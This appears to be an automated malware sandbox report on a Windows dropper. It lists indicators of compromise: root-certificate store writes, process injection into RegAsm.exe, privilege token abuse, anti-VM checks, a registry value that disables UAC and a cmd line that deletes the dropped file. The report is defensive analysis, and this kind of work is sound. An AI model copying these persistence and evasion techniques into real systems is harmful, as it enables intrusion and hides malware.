a730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e DgfaXTld2wiWW0i5eGY8ps27.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e7549030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e19962000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e DgfaXTld2wiWW0i5eGY8ps27.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 190000000100000010000000ffac207997bb2cfe865570179ee037b90f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e404000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e DgfaXTld2wiWW0i5eGY8ps27.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c00000001000000040000000010000004000000010000001000000078f2fcaa601f2fb4ebc937ba532e7549030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e DgfaXTld2wiWW0i5eGY8ps27.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 keks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2548 e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe 2548 e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe 4568 chrosha.exe 4568 chrosha.exe 4144 RegAsm.exe 4144 RegAsm.exe 1372 rundll32.exe 1372 rundll32.exe 1372 rundll32.exe 1372 rundll32.exe 1372 rundll32.exe 1372 rundll32.exe 4724 trf.exe 4724 trf.exe 1372 rundll32.exe 1372 rundll32.exe 1372 rundll32.exe 1372 rundll32.exe 5036 powershell.exe 5036 powershell.exe 5036 powershell.exe 1316 jok.exe 1316 jok.exe 1316 jok.exe 1316 jok.exe 1668 keks.exe 1668 keks.exe 4144 RegAsm.exe 4144 RegAsm.exe 1668 keks.exe 1668 keks.exe 1668 keks.exe 1668 keks.exe 5092 powershell.exe 5092 powershell.exe 5092 powershell.exe 1456 powershell.exe 1456 powershell.exe 1456 powershell.exe 5548 run.exe 1316 jok.exe 1316 jok.exe 5548 run.exe 5548 run.exe 5796 run.exe 5796 run.exe 5796 run.exe 5760 cmd.exe 5760 cmd.exe 5760 cmd.exe 5760 cmd.exe 2656 cmd.exe 2656 cmd.exe 2656 cmd.exe 2656 cmd.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 5548 run.exe 5796 run.exe 5760 cmd.exe 5760 cmd.exe 2656 cmd.exe 2656 cmd.exe -
Suspicious use of AdjustPrivilegeToken 60 IoCs
description pid Process Token: SeDebugPrivilege 4724 trf.exe Token: SeBackupPrivilege 4724 trf.exe Token: SeSecurityPrivilege 4724 trf.exe Token: SeSecurityPrivilege 4724 trf.exe Token: SeSecurityPrivilege 4724 trf.exe Token: SeSecurityPrivilege 4724 trf.exe Token: SeDebugPrivilege 5036 powershell.exe Token: SeDebugPrivilege 1668 keks.exe Token: SeDebugPrivilege 884 RegAsm.exe Token: SeDebugPrivilege 1944 AddInProcess32.exe Token: SeDebugPrivilege 5092 powershell.exe Token: SeDebugPrivilege 2036 regasm.exe Token: SeDebugPrivilege 1456 powershell.exe Token: SeDebugPrivilege 1316 jok.exe Token: SeDebugPrivilege 5552 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Token: SeDebugPrivilege 1980 powershell.exe Token: SeIncreaseQuotaPrivilege 3020 WMIC.exe Token: SeSecurityPrivilege 3020 WMIC.exe Token: SeTakeOwnershipPrivilege 3020 WMIC.exe Token: SeLoadDriverPrivilege 3020 WMIC.exe Token: SeSystemProfilePrivilege 3020 WMIC.exe Token: SeSystemtimePrivilege 3020 WMIC.exe Token: SeProfSingleProcessPrivilege 3020 WMIC.exe Token: SeIncBasePriorityPrivilege 3020 WMIC.exe Token: SeCreatePagefilePrivilege 3020 WMIC.exe Token: SeBackupPrivilege 3020 WMIC.exe Token: SeRestorePrivilege 3020 WMIC.exe Token: SeShutdownPrivilege 3020 WMIC.exe Token: SeDebugPrivilege 3020 WMIC.exe Token: SeSystemEnvironmentPrivilege 3020 WMIC.exe Token: SeRemoteShutdownPrivilege 3020 WMIC.exe Token: SeUndockPrivilege 3020 WMIC.exe Token: SeManageVolumePrivilege 3020 WMIC.exe Token: 33 3020 WMIC.exe Token: 34 3020 WMIC.exe Token: 35 3020 WMIC.exe Token: 36 3020 WMIC.exe Token: SeIncreaseQuotaPrivilege 3020 WMIC.exe Token: SeSecurityPrivilege 3020 WMIC.exe Token: SeTakeOwnershipPrivilege 3020 WMIC.exe Token: SeLoadDriverPrivilege 3020 WMIC.exe Token: SeSystemProfilePrivilege 3020 WMIC.exe Token: SeSystemtimePrivilege 3020 WMIC.exe Token: SeProfSingleProcessPrivilege 3020 WMIC.exe Token: SeIncBasePriorityPrivilege 3020 WMIC.exe Token: SeCreatePagefilePrivilege 3020 WMIC.exe Token: SeBackupPrivilege 3020 WMIC.exe Token: SeRestorePrivilege 3020 WMIC.exe Token: SeShutdownPrivilege 3020 WMIC.exe Token: SeDebugPrivilege 3020 WMIC.exe Token: SeSystemEnvironmentPrivilege 3020 WMIC.exe Token: SeRemoteShutdownPrivilege 3020 WMIC.exe Token: SeUndockPrivilege 3020 WMIC.exe Token: SeManageVolumePrivilege 3020 WMIC.exe Token: 33 3020 WMIC.exe Token: 34 3020 WMIC.exe Token: 35 3020 WMIC.exe Token: 36 3020 WMIC.exe Token: SeDebugPrivilege 4800 MSBuild.exe Token: SeDebugPrivilege 5756 powershell.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe 1920 u2e0.3.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 5548 run.exe 5548 run.exe 5796 run.exe 5796 run.exe 4800 MSBuild.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4568 wrote to memory of 4144 4568 chrosha.exe 101 PID 4568 wrote to memory of 4144 4568 chrosha.exe 101 PID 4568 wrote to memory of 4144 4568 chrosha.exe 101 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4144 wrote to memory of 1664 4144 swiiiii.exe 103 PID 4568 wrote to memory of 932 4568 chrosha.exe 106 PID 4568 wrote to memory of 932 4568 chrosha.exe 106 PID 4568 wrote to memory of 932 4568 chrosha.exe 106 PID 932 wrote to memory of 884 932 alexxxxxxxx.exe 107 PID 932 wrote to memory of 884 932 alexxxxxxxx.exe 107 PID 932 wrote to memory of 884 932 alexxxxxxxx.exe 107 PID 932 wrote to memory of 884 932 alexxxxxxxx.exe 107 PID 932 wrote to memory of 884 932 alexxxxxxxx.exe 107 PID 932 wrote to memory of 884 932 alexxxxxxxx.exe 107 PID 932 wrote to memory of 884 932 alexxxxxxxx.exe 107 PID 932 wrote to memory of 884 932 alexxxxxxxx.exe 107 PID 884 wrote to memory of 1668 884 RegAsm.exe 110 PID 884 wrote to memory of 1668 884 RegAsm.exe 110 PID 884 wrote to memory of 1668 884 RegAsm.exe 110 PID 884 wrote to memory of 4724 884 RegAsm.exe 111 PID 884 wrote to memory of 4724 884 RegAsm.exe 111 PID 4568 wrote to memory of 2448 4568 chrosha.exe 113 PID 4568 wrote to memory of 2448 4568 chrosha.exe 113 PID 4568 wrote to memory of 2448 4568 chrosha.exe 113 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 2448 wrote to memory of 4920 2448 gold.exe 114 PID 4568 wrote to memory of 4980 4568 chrosha.exe 119 PID 4568 wrote to memory of 4980 4568 chrosha.exe 119 PID 4568 wrote to memory of 4980 4568 chrosha.exe 119 PID 4980 wrote to memory of 3896 4980 NewB.exe 120 PID 4980 wrote to memory of 3896 4980 NewB.exe 120 PID 4980 wrote to memory of 3896 4980 NewB.exe 120 PID 4568 wrote to memory of 1316 4568 chrosha.exe 122 PID 4568 wrote to memory of 1316 4568 chrosha.exe 122 PID 4568 wrote to memory of 1316 4568 chrosha.exe 122 PID 4568 wrote to memory of 544 4568 chrosha.exe 123 PID 4568 wrote to memory of 544 4568 chrosha.exe 123 PID 4568 wrote to memory of 544 4568 chrosha.exe 123 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 544 wrote to memory of 4144 544 swiiii.exe 125 PID 4568 wrote to memory of 2828 4568 chrosha.exe 126 PID 4568 wrote to memory of 2828 4568 chrosha.exe 126 PID 4568 wrote to memory of 2828 4568 chrosha.exe 126 -
System policy modification 1 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Uni400uni.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe"C:\Users\Admin\AppData\Local\Temp\e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:2548
-
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exeC:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵PID:1664
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 8683⤵
- Program crash
PID:764
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1668
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4724
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵PID:3192
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵PID:1240
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 3603⤵
- Program crash
PID:4244
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵PID:4920
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2448 -s 3603⤵
- Program crash
PID:3024
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4980 -
